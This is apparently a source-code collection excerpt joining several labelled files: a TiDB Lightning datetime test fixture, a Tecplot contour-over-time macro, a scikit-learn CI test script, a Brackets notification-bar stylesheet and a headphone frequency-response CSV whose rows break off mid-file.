/* https://stackoverflow.com/a/553448/ */ INSERT INTO `datetime` VALUES ( 0, '1717-03-14 19:01:39.698460', '1994-01-09 19:00:33.151028'), ( 1, '6717-04-25 07:17:05.765930', '2000-05-08 01:34:33.919478'), ( 2, '3313-02-14 09:48:56.762573', '1991-02-02 08:45:36.551887'), ( 3, '7783-02-24 04:46:06.938477', '1977-02-09 01:45:58.748853'), ( 4, '6908-03-15 07:11:10.969849', '1972-09-18 08:32:34.727022'), ( 5, '3567-12-07 20:47:04.761154', '1994-12-15 02:10:57.834306'), ( 6, '1760-03-14 05:21:51.871632', '1999-01-28 09:49:30.353572'), ( 7, '2882-10-23 19:19:58.829239', '2031-09-11 19:10:14.444316'), ( 8, '1191-12-27 21:27:06.693556', '2020-05-21 10:51:51.371299'), ( 9, '8413-05-08 01:25:27.441437', '2030-11-16 21:02:03.379840'), (10, '1221-09-22 12:42:28.453525', '2013-03-04 16:38:49.110009'), (11, '3348-01-29 01:59:53.699280', '1972-11-02 00:29:21.187597'), (12, '2453-06-14 04:22:31.782410', '1977-08-15 22:13:37.225733'), (13, '6499-12-22 21:34:03.830688', '1990-03-15 16:58:39.208468'), (14, '6443-02-09 01:58:31.988739', '1976-04-12 17:46:33.814856'), (15, '1408-11-19 00:58:46.005671', '2014-05-16 15:11:46.047472'), (16, '7276-04-16 23:54:59.445618', '2033-02-21 09:24:44.777439'), (17, '5380-04-07 07:03:44.358246', '1988-01-12 18:24:38.646579'), (18, '2599-12-09 23:32:49.507103', '2028-01-12 11:51:13.523571'), (19, '1896-04-08 14:32:07.003094', '2008-08-15 19:34:19.565940'), (20, '4093-01-09 13:07:04.407578', '1973-05-29 08:31:36.492560'), (21, '2711-09-28 07:52:03.075577', '2032-02-02 17:04:15.920171'), (22, '6807-02-23 02:08:40.119141', '2025-11-13 20:33:19.151073'), (23, '8967-04-09 11:22:24.298584', '2031-09-13 17:48:56.261312'), (24, '3849-07-14 10:28:17.246872', '2033-11-18 00:33:13.877377'), (25, '6798-09-25 19:08:52.112762', '2002-05-06 14:17:04.922844'), (26, '7587-10-29 01:18:16.684265', '1978-07-16 23:00:47.524583'), (27, '2826-06-09 01:53:33.932587', '1990-08-27 07:50:38.947502'), (28, '5606-06-09 10:22:59.118011', '2025-04-07 18:12:41.775952'), (29, '9226-07-24 02:05:59.428558', '1972-12-27 19:30:54.925280'), (30, '9889-01-08 08:51:03.389832', '1991-11-22 11:18:25.976254'), (31, '3313-03-12 21:31:26.280167', '1979-09-19 22:23:36.101528'), (32, '4447-07-29 09:55:11.170853', '2001-12-11 02:17:05.089341'), (33, '5216-01-15 07:26:56.856674', '2019-05-22 08:10:32.403484'), (34, '4525-11-09 00:39:21.494827', '1992-02-20 07:05:45.033342'), (35, '1236-11-02 02:53:19.848807', '1994-06-16 17:31:32.002678'), (36, '4785-06-14 09:10:30.444107', '1970-11-09 19:25:45.842815'), (37, '9063-09-29 22:30:48.101807', '2020-02-09 08:33:39.128007'), (38, '3257-08-05 05:45:02.390640', '2002-05-27 07:24:54.714140'), (39, '1055-05-30 06:32:09.532792', '1981-02-08 01:44:22.275192'), (40, '9221-04-18 08:12:25.730316', '1993-03-27 08:29:54.190876'), (41, '9626-02-01 15:40:16.972168', '2036-07-09 18:38:29.528437'), (42, '9233-02-28 12:32:28.574829', '1986-02-08 07:17:52.059964'), (43, '2728-04-06 04:55:49.858131', '2020-04-04 19:04:14.824254'), (44, '8947-10-06 12:56:22.928345', '1981-05-06 22:03:07.781892'), (45, '5411-04-03 17:33:11.787018', '2014-09-05 21:19:42.274363'), (46, '9050-05-19 05:39:57.889496', '2025-10-26 22:18:21.280456'), (47, '6865-03-31 15:08:12.383698', '1972-11-12 22:57:02.337941'), (48, '8813-01-27 08:57:31.674316', '1977-12-16 08:15:08.703651'), (49, '6358-07-28 22:48:41.740967', '1976-04-04 02:12:00.347965'), (50, '9072-01-13 08:28:20.016449', '2036-03-20 12:09:49.066841'), (51, '6728-04-11 05:12:57.642853', '2000-09-07 13:54:13.362203'), (52, '5427-01-17 06:08:23.301147', '2005-04-28 05:05:37.823345'), (53, '9125-10-22 22:42:54.105652', '1979-05-15 21:15:08.620165'), (54, '4012-12-04 10:24:22.104721', '1974-03-17 00:53:33.755126'), (55, '7492-11-18 04:49:24.634003', '1975-09-13 05:33:24.305249'), (56, '9570-01-26 01:33:36.090454', '1977-06-23 01:47:47.774165'), (57, '1233-07-23 18:25:22.172003', '1991-07-19 10:47:44.003068'), (58, '2735-10-07 03:29:19.999466', '2009-05-15 12:29:33.608722'), (59, '1026-09-21 15:15:54.335745', '2028-10-30 10:04:57.803835'), (60, '7384-03-30 06:06:15.340759', '2005-11-03 11:40:37.157283'), (61, '5566-09-26 21:25:11.814362', '1997-10-03 10:48:09.784687'), (62, '8386-02-18 22:11:03.732574', '2004-03-17 07:25:32.226178'), (63, '9827-02-13 13:48:29.540344', '1994-11-02 14:04:16.819635'), (64, '3616-06-14 01:59:05.354645', '1994-01-31 12:46:39.970936'), (65, '7933-12-18 12:54:06.738037', '2036-10-14 10:48:28.620306'), (66, '1057-10-11 06:59:48.021151', '1997-04-05 15:24:50.599577'), (67, '1136-12-13 01:03:00.081739', '2031-08-28 09:08:36.844683'), (68, '1458-12-04 11:16:50.582912', '1975-03-15 10:07:46.220437'), (69, '3874-02-24 09:23:34.385239', '2020-08-07 08:30:52.980000');

SQL

imtbkcat/tidb-lightning

tests/various_types/data/vt.datetime.sql

#!MC 1410 # # Get the variable name of the contour variable (limited to Contour Group #1) # $!EXTENDEDCOMMAND COMMANDPROCESSORID='extendmcr' COMMAND='QUERY.VARNUMBYASSIGNMENT "C" ContourVarNum' $!EXTENDEDCOMMAND COMMANDPROCESSORID='extendmcr' COMMAND='QUERY.VARNAMEBYNUM |ContourVarNum| ContourVarName' # # Create a new zone that represents the MAXC value # over time. MAXC returns the maximum value of the # variable which is assigned to Contour Group #1. See # the scripting guide for more detail on MAXC. # $!EXTENDEDCOMMAND COMMANDPROCESSORID='Extend Time MCR' COMMAND='QUERY.NUMTIMESTEPS NUMTIMESTEPS' $!CREATERECTANGULARZONE IMAX = |NUMTIMESTEPS| JMAX = 1 KMAX = 1 X1 = 0 Y1 = 0 Z1 = 0 X2 = 1 Y2 = 0 Z2 = 0 $!VARSET |MaxContourZone| = |NUMZONES| $!RENAMEDATASETZONE ZONE = |MaxContourZone| Name = "Max |ContourVarName| over Time" $!CREATERECTANGULARZONE IMAX = |NUMTIMESTEPS| JMAX = 1 KMAX = 1 X1 = 0 Y1 = 0 Z1 = 0 X2 = 1 Y2 = 0 Z2 = 0 $!VARSET |MinContourZone| = |NUMZONES| $!RENAMEDATASETZONE ZONE = |MinContourZone| Name = "Min |ContourVarName| over Time" # We deactivate the zones we just created because we don't want their # values to be considered when using |MAXC| & |MINC| below. $!ACTIVEFIELDZONES -= [|MinContourZone|, |MaxContourZone|] $!LOOP |NUMTIMESTEPS| $!EXTENDEDCOMMAND COMMANDPROCESSORID='Extend Time MCR' COMMAND='SET.CURTIMESTEP |LOOP|' $!EXTENDEDCOMMAND COMMANDPROCESSORID='Extend Time MCR' COMMAND='QUERY.TIMEATSTEP |LOOP| SolutionTime' # Instead of creating new variables, we just reuse variables # #1 and #2. This keeps the dataset a little cleaner, but if we # really wanted to create new variables we could do so using # the $!ALTERDATA command # # Variable #1 represents Solution Time $!SETFIELDVALUE ZONE = |MaxContourZone| VAR = 1 INDEX = |LOOP| FIELDVALUE = |SolutionTime| $!SETFIELDVALUE ZONE = |MinContourZone| VAR = 1 INDEX = |LOOP| FIELDVALUE = |SolutionTime| # Variable #2 represent the Max Contour Value $!SETFIELDVALUE ZONE = |MaxContourZone| VAR = 2 INDEX = |LOOP| FIELDVALUE = |MAXC| $!SETFIELDVALUE ZONE = |MinContourZone| VAR = 2 INDEX = |LOOP| FIELDVALUE = |MINC| $!ENDLOOP # Turn on Time linking because we'll be turning on the # Solution Time axis marker on the following XY frame and # we want that marker to update as we animate over time. $!LINKING BETWEENFRAMES {LINKSOLUTIONTIME = YES} # Make sure the active frame is at the top of the frame stack. This # ensures that the new frame we create below will inherit this dataset $!FRAMECONTROL MOVETOTOPACTIVE # # Now plot the new zone in an XY plot # $!CREATENEWFRAME XYPOS { X = 1.3947 Y = 4.6447 } WIDTH = 8.1217 HEIGHT = 3.2862 $!PLOTTYPE = XYLINE $!DELETELINEMAPS $!CREATELINEMAP $!LINEMAP [1] NAME = 'Max |ContourVarName| over Time' $!LINEMAP [1] ASSIGN{ZONE = |MaxContourZone|} $!ACTIVELINEMAPS += [1] $!VIEW FIT $!XYLINEAXIS XDETAIL 1 {TITLE{TITLEMODE = USETEXT}} $!XYLINEAXIS XDETAIL 1 {TITLE{TEXT = 'Solution Time'}} $!CREATELINEMAP $!LINEMAP [2] NAME = 'Min |ContourVarName| over Time' $!LINEMAP [2] ASSIGN{ZONE = |MinContourZone|} $!LINEMAP [2] ASSIGN{YAXIS = 2} $!ACTIVELINEMAPS += [2] $!VIEW FIT $!XYLINEAXIS XDETAIL 1 {TITLE{TITLEMODE = USETEXT}} $!XYLINEAXIS XDETAIL 1 {TITLE{TEXT = 'Solution Time'}} $!XYLINEAXIS YDETAIL 1 {TITLE{TITLEMODE = USETEXT}} $!XYLINEAXIS YDETAIL 1 {TITLE{TEXT = 'Max |ContourVarName| over Time'}} # Show the solution time axis marker in the XY frame. We turn # on solution time frame linking to ensure the line updates when # we animate in the other frame. $!LINKING BETWEENFRAMES {LINKSOLUTIONTIME = YES} $!XYLINEAXIS XDETAIL 1 {MARKERGRIDLINE{SHOW = YES}} $!XYLINEAXIS XDETAIL 1 {TITLE{TITLEMODE = USETEXT}} $!XYLINEAXIS XDETAIL 1 {TITLE{TEXT = 'Solution Time'}} $!XYLINEAXIS YDETAIL 2 {TITLE{TITLEMODE = USETEXT}} $!XYLINEAXIS YDETAIL 2 {TITLE{TEXT = 'Min |ContourVarName| over Time'}}

MAXScript

Mehrdadj93/handyscripts

macro/PlotMinMaxContourOverTime.mcr

#!/bin/bash set -e if [[ "$DISTRIB" =~ ^conda.* ]]; then source activate $VIRTUALENV elif [[ "$DISTRIB" == "ubuntu" ]] || [[ "$DISTRIB" == "debian-32" ]]; then source $VIRTUALENV/bin/activate fi if [[ "$BUILD_WITH_ICC" == "true" ]]; then source /opt/intel/oneapi/setvars.sh fi mkdir -p $TEST_DIR cp setup.cfg $TEST_DIR cd $TEST_DIR python -c "import sklearn; sklearn.show_versions()" if ! command -v conda &> /dev/null then pip list else # conda list provides more info than pip list (when available) conda list fi TEST_CMD="python -m pytest --showlocals --durations=20 --junitxml=$JUNITXML" if [[ "$COVERAGE" == "true" ]]; then # Note: --cov-report= is used to disable to long text output report in the # CI logs. The coverage data is consolidated by codecov to get an online # web report across all the platforms so there is no need for this text # report that otherwise hides the test failures and forces long scrolls in # the CI logs. export COVERAGE_PROCESS_START="$BUILD_SOURCESDIRECTORY/.coveragerc" TEST_CMD="$TEST_CMD --cov-config='$COVERAGE_PROCESS_START' --cov sklearn --cov-report=" fi if [[ -n "$CHECK_WARNINGS" ]]; then # numpy's 1.19.0's tostring() deprecation is ignored until scipy and joblib removes its usage TEST_CMD="$TEST_CMD -Werror::DeprecationWarning -Werror::FutureWarning -Wignore:tostring:DeprecationWarning" # Python 3.10 deprecates disutils and is imported by numpy interally during import time TEST_CMD="$TEST_CMD -Wignore:The\ distutils:DeprecationWarning" fi if [[ "$PYTEST_XDIST_VERSION" != "none" ]]; then TEST_CMD="$TEST_CMD -n$CPU_COUNT" fi if [[ "$SHOW_SHORT_SUMMARY" == "true" ]]; then TEST_CMD="$TEST_CMD -ra" fi set -x eval "$TEST_CMD --pyargs sklearn" set +x

Shell

MrinalTyagi/scikit-learn

build_tools/azure/test_script.sh

#notification-bar { display: block; background-color: #105F9C; box-shadow: 0px 3px 6px rgba(0, 0, 0, 0.53); padding: 5px 0px; width: 100%; min-height: 39px; position: absolute; z-index: 16; left: 0px; bottom: 25px; outline: none; overflow: hidden; color: rgb(51, 51, 51); background: rgb(223, 226, 226); } .dark #notification-bar { color: #ccc; background: #2c2c2c; } #notification-bar .content-container { padding: 5px 10px; float: left; width: 100%; } #notification-bar .close-icon-container { height: auto; position: absolute; float: right; text-align: center; width: auto; min-width: 66px; right: 20px; top: 10px; } #notification-bar .close-icon-container .close-icon { display: block; font-size: 18px; line-height: 18px; text-decoration: none; width: 18px; height: 18px; background-color: transparent; border: none; padding: 0px; /*This is needed to center the icon*/ float: right; } .dark #notification-bar .close-icon-container .close-icon { color: #ccc; }

CSS

narayanim84/brackets

src/extensions/default/InAppNotifications/styles/styles.css

frequency,raw,error,smoothed,error_smoothed,equalization,parametric_eq,fixed_band_eq,equalized_raw,equalized_smoothed,target 20.00,5.27,-0.65,5.28,-0.64,0.67,0.69,0.35,5.94,5.95,5.92 20.20,5.18,-0.73,5.18,-0.73,0.75,0.70,0.37,5.93,5.93,5.91 20.40,5.10,-0.80,5.09,-0.82,0.82,0.72,0.38,5.92,5.90,5.90 20.61,5.01,-0.89,5.01,-0.89,0.88,0.74,0.39,5.89,5.88,5.90 20.81,4.93,-0.95,4.93,-0.96,0.93,0.75,0.40,5.86,5.85,5.88 21.02,4.85,-1.03,4.87,-1.01,0.97,0.77,0.42,5.82,5.84,5.88 21.23,4.85,-1.02,4.85,-1.03,1.00,0.79,0.43,5.85,5.85,5.87 21.44,4.85,-1.03,4.84,-1.03,1.02,0.80,0.44,5.87,5.87,5.88 21.66,4.85,-1.02,4.85,-1.02,1.03,0.82,0.46,5.88,5.88,5.87 21.87,4.85,-1.01,4.85,-1.01,1.03,0.83,0.47,5.88,5.88,5.86 22.09,4.85,-1.00,4.85,-1.00,1.02,0.85,0.49,5.87,5.87,5.85 22.31,4.85,-1.00,4.85,-0.99,1.00,0.86,0.50,5.86,5.86,5.85 22.54,4.85,-0.99,4.85,-0.99,0.99,0.87,0.52,5.84,5.84,5.84 22.76,4.85,-0.99,4.85,-0.98,0.97,0.89,0.54,5.82,5.82,5.84 22.99,4.85,-0.97,4.86,-0.97,0.95,0.90,0.55,5.81,5.81,5.83 23.22,4.87,-0.94,4.87,-0.95,0.94,0.91,0.57,5.81,5.81,5.82 23.45,4.90,-0.92,4.90,-0.92,0.92,0.92,0.59,5.83,5.82,5.83 23.69,4.92,-0.89,4.92,-0.89,0.91,0.93,0.61,5.84,5.84,5.82 23.92,4.94,-0.87,4.94,-0.88,0.90,0.93,0.62,5.84,5.84,5.81 24.16,4.95,-0.87,4.95,-0.87,0.89,0.94,0.64,5.84,5.84,5.82 24.40,4.95,-0.88,4.95,-0.88,0.88,0.95,0.66,5.83,5.83,5.83 24.65,4.95,-0.88,4.95,-0.88,0.86,0.95,0.68,5.81,5.81,5.83 24.89,4.95,-0.88,4.96,-0.88,0.84,0.95,0.70,5.80,5.80,5.83 25.14,4.97,-0.86,4.98,-0.85,0.83,0.95,0.72,5.80,5.80,5.83 25.39,5.01,-0.82,5.01,-0.82,0.81,0.95,0.74,5.82,5.83,5.83 25.65,5.05,-0.78,5.06,-0.78,0.80,0.95,0.76,5.85,5.85,5.83 25.91,5.10,-0.74,5.09,-0.75,0.78,0.95,0.78,5.89,5.87,5.84 26.16,5.10,-0.75,5.10,-0.75,0.78,0.94,0.80,5.88,5.87,5.85 26.43,5.08,-0.76,5.09,-0.76,0.77,0.94,0.81,5.85,5.86,5.85 26.69,5.06,-0.78,5.06,-0.78,0.77,0.93,0.83,5.84,5.84,5.85 26.96,5.04,-0.80,5.05,-0.80,0.78,0.92,0.85,5.82,5.83,5.84 27.23,5.04,-0.80,5.04,-0.80,0.79,0.91,0.87,5.83,5.83,5.84 27.50,5.04,-0.80,5.04,-0.81,0.80,0.90,0.88,5.84,5.84,5.84 27.77,5.04,-0.81,5.04,-0.81,0.80,0.89,0.90,5.85,5.85,5.85 28.05,5.04,-0.81,5.04,-0.80,0.81,0.88,0.91,5.85,5.85,5.85 28.33,5.04,-0.80,5.04,-0.80,0.81,0.87,0.93,5.85,5.85,5.84 28.62,5.04,-0.80,5.04,-0.80,0.80,0.85,0.94,5.85,5.85,5.84 28.90,5.04,-0.80,5.04,-0.80,0.80,0.84,0.95,5.85,5.85,5.85 29.19,5.04,-0.80,5.04,-0.80,0.80,0.82,0.96,5.85,5.85,5.85 29.48,5.04,-0.80,5.04,-0.80,0.80,0.81,0.96,5.84,5.84,5.84 29.78,5.04,-0.80,5.04,-0.80,0.80,0.79,0.97,5.84,5.84,5.84 30.08,5.04,-0.81,5.04,-0.80,0.80,0.77,0.97,5.84,5.84,5.85 30.38,5.04,-0.80,5.04,-0.80,0.79,0.75,0.98,5.84,5.84,5.84 30.68,5.04,-0.78,5.04,-0.79,0.79,0.73,0.98,5.83,5.83,5.83 30.99,5.04,-0.78,5.04,-0.78,0.78,0.71,0.97,5.82,5.82,5.83 31.30,5.04,-0.77,5.04,-0.77,0.77,0.69,0.97,5.82,5.82,5.81 31.61,5.04,-0.77,5.04,-0.77,0.76,0.67,0.96,5.81,5.81,5.81 31.93,5.04,-0.76,5.04,-0.76,0.75,0.66,0.96,5.79,5.79,5.80 32.24,5.04,-0.75,5.04,-0.75,0.73,0.64,0.95,5.78,5.78,5.80 32.57,5.04,-0.74,5.04,-0.75,0.73,0.62,0.93,5.77,5.77,5.79 32.89,5.04,-0.74,5.04,-0.74,0.75,0.59,0.92,5.80,5.80,5.78 33.22,5.04,-0.74,5.05,-0.73,0.79,0.57,0.90,5.84,5.84,5.78 33.55,5.04,-0.74,5.05,-0.73,0.83,0.55,0.89,5.88,5.88,5.78 33.89,5.04,-0.74,5.02,-0.76,0.85,0.53,0.87,5.89,5.87,5.79 34.23,4.95,-0.82,4.91,-0.86,0.83,0.52,0.85,5.78,5.74,5.77 34.57,4.81,-0.96,4.80,-0.98,0.79,0.50,0.83,5.61,5.59,5.77 34.92,4.67,-1.09,4.77,-1.00,0.75,0.48,0.80,5.42,5.52,5.77 35.27,4.88,-0.89,4.94,-0.83,0.71,0.46,0.78,5.59,5.65,5.77 35.62,5.20,-0.56,5.19,-0.58,0.67,0.44,0.75,5.87,5.86,5.76 35.97,5.52,-0.24,5.37,-0.38,0.63,0.42,0.73,6.15,6.00,5.76 36.33,5.37,-0.37,5.37,-0.37,0.59,0.40,0.70,5.96,5.96,5.74 36.70,5.19,-0.54,5.24,-0.49,0.55,0.38,0.67,5.75,5.79,5.73 37.06,5.04,-0.67,5.09,-0.63,0.53,0.36,0.64,5.57,5.62,5.72 37.43,5.04,-0.65,5.03,-0.66,0.54,0.34,0.62,5.58,5.57,5.69 37.81,5.04,-0.64,5.03,-0.65,0.56,0.33,0.59,5.61,5.59,5.68 38.19,5.04,-0.61,5.04,-0.61,0.60,0.31,0.56,5.64,5.64,5.65 38.57,5.04,-0.59,5.04,-0.59,0.61,0.29,0.53,5.65,5.65,5.63 38.95,5.04,-0.56,5.04,-0.56,0.59,0.27,0.50,5.63,5.63,5.61 39.34,5.04,-0.53,5.04,-0.54,0.55,0.26,0.47,5.60,5.60,5.57 39.74,5.04,-0.51,5.04,-0.51,0.52,0.24,0.43,5.56,5.56,5.56 40.14,5.04,-0.49,5.04,-0.49,0.49,0.22,0.40,5.53,5.53,5.53 40.54,5.04,-0.46,5.04,-0.47,0.46,0.20,0.37,5.51,5.51,5.51 40.94,5.04,-0.44,5.04,-0.44,0.44,0.19,0.34,5.48,5.48,5.48 41.35,5.04,-0.42,5.04,-0.42,0.42,0.17,0.31,5.46,5.46,5.47 41.76,5.04,-0.39,5.04,-0.39,0.39,0.16,0.28,5.44,5.44,5.43 42.18,5.04,-0.37,5.04,-0.37,0.37,0.14,0.25,5.41,5.41,5.41 42.60,5.04,-0.35,5.04,-0.35,0.35,0.13,0.22,5.39,5.39,5.40 43.03,5.04,-0.33,5.04,-0.33,0.33,0.11,0.19,5.38,5.38,5.37 43.46,5.04,-0.30,5.04,-0.31,0.32,0.09,0.16,5.36,5.36,5.34 43.90,5.04,-0.28,5.04,-0.28,0.29,0.08,0.13,5.33,5.33,5.33 44.33,5.04,-0.26,5.04,-0.26,0.26,0.06,0.10,5.30,5.30,5.30 44.78,5.04,-0.23,5.04,-0.24,0.21,0.05,0.07,5.26,5.25,5.27 45.23,5.04,-0.22,5.03,-0.22,0.17,0.03,0.04,5.21,5.20,5.26 45.68,5.04,-0.18,5.05,-0.17,0.13,0.02,0.01,5.17,5.18,5.23 46.13,5.07,-0.11,5.11,-0.08,0.09,0.01,-0.02,5.17,5.20,5.19 46.60,5.17,0.01,5.16,0.00,0.06,-0.01,-0.05,5.24,5.23,5.16 47.06,5.23,0.10,5.17,0.04,0.04,-0.02,-0.07,5.27,5.21,5.13 47.53,5.11,0.01,5.12,0.03,0.02,-0.04,-0.10,5.13,5.14,5.10 48.01,4.99,-0.06,5.04,-0.02,-0.00,-0.05,-0.13,4.99,5.03,5.05 48.49,4.97,-0.04,4.97,-0.05,-0.02,-0.07,-0.16,4.96,4.95,5.01 48.97,4.95,-0.02,4.95,-0.02,-0.03,-0.08,-0.19,4.92,4.92,4.97 49.46,4.95,0.01,4.95,0.02,-0.04,-0.09,-0.22,4.91,4.91,4.94 49.96,4.95,0.08,4.95,0.06,-0.06,-0.11,-0.24,4.89,4.89,4.88 50.46,4.95,0.11,4.95,0.11,-0.09,-0.12,-0.27,4.86,4.86,4.84 50.96,4.95,0.14,4.95,0.14,-0.13,-0.14,-0.30,4.82,4.82,4.81 51.47,4.95,0.17,4.95,0.18,-0.19,-0.15,-0.33,4.76,4.76,4.78 51.99,4.95,0.22,4.95,0.21,-0.24,-0.16,-0.35,4.71,4.71,4.74 52.51,4.95,0.25,4.95,0.25,-0.27,-0.18,-0.38,4.68,4.68,4.70 53.03,4.95,0.27,4.96,0.29,-0.28,-0.19,-0.41,4.67,4.68,4.68 53.56,4.95,0.32,4.96,0.32,-0.26,-0.21,-0.43,4.69,4.70,4.63 54.10,4.94,0.35,4.93,0.34,-0.22,-0.22,-0.46,4.72,4.71,4.59 54.64,4.85,0.30,4.84,0.29,-0.19,-0.24,-0.49,4.67,4.65,4.55 55.18,4.72,0.21,4.69,0.18,-0.16,-0.25,-0.51,4.56,4.53,4.51 55.74,4.50,0.03,4.52,0.05,-0.15,-0.26,-0.54,4.35,4.37,4.47 56.29,4.39,-0.05,4.41,-0.03,-0.15,-0.28,-0.56,4.24,4.27,4.44 56.86,4.39,-0.02,4.44,0.03,-0.16,-0.29,-0.58,4.24,4.28,4.42 57.42,4.54,0.18,4.55,0.17,-0.18,-0.31,-0.61,4.36,4.37,4.37 58.00,4.75,0.40,4.68,0.33,-0.23,-0.32,-0.63,4.52,4.44,4.35 58.58,4.75,0.42,4.76,0.43,-0.32,-0.34,-0.65,4.43,4.44,4.33 59.16,4.75,0.45,4.77,0.47,-0.43,-0.35,-0.67,4.33,4.35,4.30 59.76,4.75,0.48,4.74,0.47,-0.54,-0.37,-0.70,4.22,4.20,4.27 60.35,4.75,0.54,4.75,0.53,-0.62,-0.38,-0.72,4.13,4.13,4.22 60.96,4.75,0.58,4.83,0.66,-0.68,-0.40,-0.74,4.07,4.15,4.17 61.57,4.93,0.81,4.90,0.78,-0.72,-0.41,-0.76,4.21,4.18,4.12 62.18,5.01,0.94,4.92,0.85,-0.75,-0.43,-0.77,4.27,4.17,4.07 62.80,4.83,0.82,4.87,0.85,-0.77,-0.44,-0.79,4.06,4.10,4.01 63.43,4.72,0.75,4.75,0.78,-0.79,-0.46,-0.81,3.93,3.96,3.97 64.07,4.66,0.73,4.67,0.74,-0.81,-0.48,-0.83,3.86,3.86,3.93 64.71,4.66,0.78,4.65,0.77,-0.82,-0.49,-0.84,3.84,3.84,3.89 65.35,4.66,0.81,4.66,0.81,-0.84,-0.51,-0.86,3.83,3.82,3.85 66.01,4.66,0.86,4.66,0.86,-0.87,-0.53,-0.87,3.79,3.79,3.80 66.67,4.66,0.89,4.65,0.88,-0.93,-0.54,-0.89,3.73,3.72,3.77 67.33,4.66,0.95,4.66,0.95,-0.99,-0.56,-0.90,3.67,3.67,3.71 68.01,4.66,0.99,4.72,1.05,-1.05,-0.58,-0.92,3.61,3.67,3.67 68.69,4.81,1.19,4.80,1.17,-1.09,-0.60,-0.93,3.72,3.70,3.62 69.37,4.86,1.27,4.82,1.24,-1.13,-0.62,-0.95,3.74,3.70,3.59 70.07,4.82,1.29,4.78,1.24,-1.16,-0.63,-0.96,3.66,3.62,3.54 70.77,4.62,1.13,4.68,1.18,-1.20,-0.65,-0.98,3.43,3.48,3.49 71.48,4.56,1.12,4.59,1.15,-1.24,-0.67,-0.99,3.33,3.35,3.45 72.19,4.56,1.17,4.53,1.14,-1.27,-0.69,-1.00,3.29,3.26,3.39 72.91,4.56,1.22,4.55,1.20,-1.29,-0.71,-1.02,3.27,3.26,3.34 73.64,4.56,1.27,4.64,1.34,-1.31,-0.73,-1.03,3.25,3.33,3.30 74.38,4.69,1.43,4.69,1.44,-1.33,-0.75,-1.05,3.37,3.37,3.26 75.12,4.84,1.63,4.69,1.47,-1.35,-0.77,-1.07,3.49,3.33,3.21 75.87,4.55,1.37,4.63,1.45,-1.39,-0.79,-1.08,3.16,3.24,3.18 76.63,4.48,1.34,4.53,1.39,-1.43,-0.81,-1.10,3.05,3.10,3.14 77.40,4.47,1.36,4.45,1.34,-1.47,-0.84,-1.12,3.00,2.98,3.11 78.17,4.47,1.41,4.45,1.38,-1.50,-0.86,-1.14,2.97,2.95,3.07 78.95,4.47,1.43,4.49,1.45,-1.51,-0.88,-1.16,2.96,2.98,3.04 79.74,4.50,1.49,4.57,1.56,-1.50,-0.90,-1.18,3.00,3.06,3.01 80.54,4.65,1.68,4.59,1.62,-1.49,-0.93,-1.20,3.16,3.10,2.97 81.35,4.65,1.71,4.59,1.64,-1.48,-0.95,-1.22,3.17,3.10,2.94 82.16,4.41,1.50,4.49,1.59,-1.49,-0.97,-1.24,2.93,3.01,2.91 82.98,4.37,1.50,4.32,1.44,-1.50,-1.00,-1.27,2.87,2.82,2.87 83.81,4.17,1.34,4.16,1.33,-1.51,-1.02,-1.29,2.66,2.65,2.84 84.65,4.05,1.26,4.12,1.33,-1.52,-1.05,-1.32,2.53,2.61,2.80 85.50,4.14,1.39,4.19,1.43,-1.52,-1.07,-1.34,2.62,2.67,2.75 86.35,4.36,1.65,4.34,1.63,-1.53,-1.10,-1.37,2.83,2.81,2.72 87.22,4.51,1.82,4.43,1.74,-1.56,-1.13,-1.40,2.95,2.87,2.69 88.09,4.44,1.80,4.40,1.75,-1.62,-1.15,-1.43,2.83,2.78,2.65 88.97,4.19,1.58,4.29,1.68,-1.68,-1.18,-1.46,2.51,2.61,2.61 89.86,4.18,1.62,4.18,1.61,-1.74,-1.21,-1.50,2.44,2.44,2.56 90.76,4.18,1.66,4.16,1.64,-1.77,-1.24,-1.53,2.42,2.39,2.53 91.66,4.18,1.71,4.25,1.77,-1.78,-1.27,-1.57,2.41,2.47,2.47 92.58,4.33,1.89,4.31,1.87,-1.79,-1.30,-1.60,2.54,2.52,2.44 93.51,4.39,2.00,4.31,1.91,-1.83,-1.33,-1.64,2.57,2.48,2.39 94.44,4.23,1.88,4.25,1.90,-1.88,-1.36,-1.68,2.35,2.37,2.35 95.39,4.09,1.80,4.14,1.85,-1.93,-1.39,-1.72,2.16,2.21,2.29 96.34,4.09,1.86,4.11,1.87,-1.97,-1.42,-1.76,2.13,2.15,2.24 97.30,4.13,1.95,4.17,1.99,-1.99,-1.45,-1.80,2.15,2.19,2.18 98.28,4.27,2.15,4.19,2.07,-2.00,-1.48,-1.84,2.28,2.19,2.12 99.26,4.20,2.15,4.14,2.08,-2.01,-1.52,-1.88,2.19,2.13,2.06 100.25,3.94,1.94,4.04,2.04,-2.02,-1.55,-1.92,1.92,2.02,2.00 101.25,3.92,1.97,3.94,1.99,-2.03,-1.58,-1.97,1.89,1.90,1.95 102.27,3.91,2.02,3.89,2.00,-2.03,-1.62,-2.01,1.88,1.86,1.89 103.29,3.89,2.06,3.88,2.04,-2.03,-1.65,-2.06,1.87,1.86,1.84 104.32,3.84,2.05,3.83,2.05,-2.02,-1.69,-2.10,1.82,1.81,1.79 105.37,3.75,2.02,3.76,2.03,-2.04,-1.72,-2.14,1.71,1.72,1.73 106.42,3.68,2.01,3.67,2.00,-2.06,-1.76,-2.19,1.62,1.61,1.67 107.48,3.62,2.02,3.63,2.01,-2.08,-1.79,-2.23,1.54,1.54,1.60 108.56,3.59,2.03,3.67,2.11,-2.10,-1.83,-2.27,1.49,1.57,1.57 109.64,3.73,2.22,3.71,2.20,-2.11,-1.87,-2.32,1.62,1.59,1.51 110.74,3.80,2.35,3.68,2.23,-2.14,-1.90,-2.36,1.66,1.55,1.45 111.85,3.56,2.16,3.61,2.20,-2.17,-1.94,-2.40,1.39,1.43,1.40 112.97,3.43,2.08,3.48,2.12,-2.21,-1.98,-2.43,1.22,1.27,1.36 114.10,3.42,2.11,3.42,2.11,-2.25,-2.02,-2.47,1.17,1.17,1.31 115.24,3.45,2.20,3.49,2.24,-2.27,-2.05,-2.50,1.18,1.22,1.25 116.39,3.57,2.37,3.55,2.34,-2.28,-2.09,-2.53,1.29,1.27,1.20 117.55,3.62,2.46,3.54,2.38,-2.28,-2.13,-2.56,1.34,1.25,1.16 118.73,3.43,2.32,3.48,2.37,-2.28,-2.17,-2.59,1.15,1.20,1.11 119.92,3.34,2.27,3.39,2.31,-2.29,-2.20,-2.61,1.05,1.10,1.07 121.12,3.34,2.29,3.31,2.27,-2.31,-2.24,-2.64,1.04,1.01,1.05 122.33,3.29,2.29,3.28,2.27,-2.32,-2.28,-2.65,0.97,0.96,1.01 